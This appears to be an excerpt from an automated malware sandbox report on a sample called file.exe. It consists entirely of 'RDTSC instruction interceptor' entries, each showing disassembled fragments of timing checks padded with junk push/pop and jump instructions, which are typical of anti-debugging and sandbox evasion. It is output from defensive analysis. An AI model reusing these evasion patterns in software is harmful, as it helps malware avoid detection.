Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADCAB second address: DADCC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA449h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADCC9 second address: DADCD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F47E4F46FA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADE4A second address: DADE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADE4E second address: DADE52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADE52 second address: DADE5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F47E55EA436h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADE5E second address: DADE64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADE64 second address: DADE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADE68 second address: DADE83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB1E73 second address: DB1E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB1E78 second address: DB1EA9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 jmp 00007F47E4F46FB1h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F47E4F46FB3h 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4B61 second address: DB4B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007F47E55EA43Dh 0x0000000d pop ecx 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 jo 00007F47E55EA436h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF357 second address: DCF37E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F47E4F46FA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F47E4F46FB6h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF37E second address: DCF38A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F47E55EA436h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF38A second address: DCF38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF38F second address: DCF398 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1F9E second address: DD1FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1FA6 second address: DD1FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F47E55EA440h 0x0000000b jmp 00007F47E55EA444h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1FD1 second address: DD1FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8ABC second address: DE8AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47E55EA441h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8AD3 second address: DE8AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8AD8 second address: DE8AFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F47E55EA436h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F47E55EA449h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBFE6 second address: DEC01B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F47E4F46FB9h 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F47E4F46FA6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC01B second address: DEC040 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F47E55EA436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F47E55EA449h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC040 second address: DEC046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC591 second address: DEC597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC597 second address: DEC5BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F47E4F46FB4h 0x0000000a jmp 00007F47E4F46FABh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC5BD second address: DEC5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC5C7 second address: DEC5CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC843 second address: DEC84F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F47E55EA436h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECB93 second address: DECB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECB9E second address: DECBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F47E55EA436h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECD08 second address: DECD16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F47E4F46FA6h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECD16 second address: DECD2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47E55EA43Ch 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECD2D second address: DECD37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F47E4F46FA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECD37 second address: DECD4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Eh 0x00000007 ja 00007F47E55EA436h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECEB0 second address: DECEB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEE70A second address: DEE715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F47E55EA436h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0F5E second address: DF0F68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F47E4F46FA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF116F second address: DF1174 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF11FE second address: DF1202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1202 second address: DF121D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA447h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF14CE second address: DF150D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 mov dword ptr [ebp+122D2A8Dh], ecx 0x0000000c push dword ptr [ebp+12451BC9h] 0x00000012 pushad 0x00000013 adc ax, 48B7h 0x00000018 mov ebx, dword ptr [ebp+122D271Fh] 0x0000001e popad 0x0000001f call 00007F47E4F46FA9h 0x00000024 push esi 0x00000025 push eax 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 pop eax 0x00000029 pop esi 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F47E4F46FAEh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF150D second address: DF1524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1524 second address: DF152A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF152A second address: DF1540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F47E55EA43Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1540 second address: DF156C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F47E4F46FA6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F47E4F46FB6h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2D3A second address: DF2D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2D3E second address: DF2D44 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF46F8 second address: DF4711 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F47E55EA447h 0x0000000c jmp 00007F47E55EA43Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30008 second address: 4D30025 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30025 second address: 4D30093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA441h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F47E55EA43Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F47E55EA441h 0x00000017 add ax, 9596h 0x0000001c jmp 00007F47E55EA441h 0x00000021 popfd 0x00000022 mov edx, eax 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F47E55EA449h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30093 second address: 4D300A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E4F46FACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D300A3 second address: 4D300DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov edi, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F47E55EA43Eh 0x00000018 sbb cx, E278h 0x0000001d jmp 00007F47E55EA43Bh 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D300DB second address: 4D300F5 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F47E4F46FADh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D300F5 second address: 4D3010A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA441h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10D9C second address: 4D10DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10DA0 second address: 4D10DA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10DA4 second address: 4D10DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, edx 0x00000008 popad 0x00000009 push edx 0x0000000a jmp 00007F47E4F46FB2h 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F47E4F46FAAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10DD1 second address: 4D10DD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10DD7 second address: 4D10E8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F47E4F46FACh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F47E4F46FABh 0x0000000f adc cx, 17DEh 0x00000014 jmp 00007F47E4F46FB9h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F47E4F46FACh 0x00000026 sub ax, 5FD8h 0x0000002b jmp 00007F47E4F46FABh 0x00000030 popfd 0x00000031 pushad 0x00000032 call 00007F47E4F46FB6h 0x00000037 pop eax 0x00000038 movsx edi, ax 0x0000003b popad 0x0000003c popad 0x0000003d pop ebp 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F47E4F46FAFh 0x00000047 add esi, 732BF7FEh 0x0000004d jmp 00007F47E4F46FB9h 0x00000052 popfd 0x00000053 mov di, ax 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6001B second address: 4D6001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6001F second address: 4D6003C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6003C second address: 4D600B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F47E55EA443h 0x0000000b adc esi, 21C46CAEh 0x00000011 jmp 00007F47E55EA449h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F47E55EA441h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F47E55EA43Eh 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F47E55EA447h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D600B4 second address: 4D600CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E4F46FB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D600CC second address: 4D600E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F47E55EA43Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D600E1 second address: 4D600F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E4F46FAEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D600F3 second address: 4D600F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0153 second address: 4CF018C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c jmp 00007F47E4F46FB6h 0x00000011 push dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F47E4F46FAAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF018C second address: 4CF0192 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0192 second address: 4CF0198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0198 second address: 4CF019C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10B17 second address: 4D10B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10B1B second address: 4D10B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10B1F second address: 4D10B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10B25 second address: 4D10B46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA446h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov bx, cx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10B46 second address: 4D10BC2 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F47E4F46FB8h 0x00000008 and cx, B518h 0x0000000d jmp 00007F47E4F46FABh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F47E4F46FB7h 0x00000021 sub si, DE8Eh 0x00000026 jmp 00007F47E4F46FB9h 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F47E4F46FADh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1069E second address: 4D106A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D106A3 second address: 4D1070A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 jmp 00007F47E4F46FB5h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F47E4F46FB3h 0x00000018 and ax, 1D4Eh 0x0000001d jmp 00007F47E4F46FB9h 0x00000022 popfd 0x00000023 call 00007F47E4F46FB0h 0x00000028 pop eax 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1070A second address: 4D10725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E55EA447h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10725 second address: 4D10729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10729 second address: 4D1073F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F47E55EA43Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105B6 second address: 4D105BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105BA second address: 4D105C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105C0 second address: 4D105E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e mov esi, ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov dh, 8Dh 0x00000017 push eax 0x00000018 pop edx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105E9 second address: 4D1061B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx esi, bx 0x0000000e jmp 00007F47E55EA441h 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 movzx ecx, dx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1061B second address: 4D1064F instructions: 0x00000000 rdtsc 0x00000002 mov dx, 4B2Ah 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushfd 0x0000000b jmp 00007F47E4F46FB1h 0x00000010 adc esi, 5AAA42A6h 0x00000016 jmp 00007F47E4F46FB1h 0x0000001b popfd 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1064F second address: 4D10674 instructions: 0x00000000 rdtsc 0x00000002 call 00007F47E55EA440h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F47E55EA43Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10390 second address: 4D10394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10394 second address: 4D1039A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1039A second address: 4D1039F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
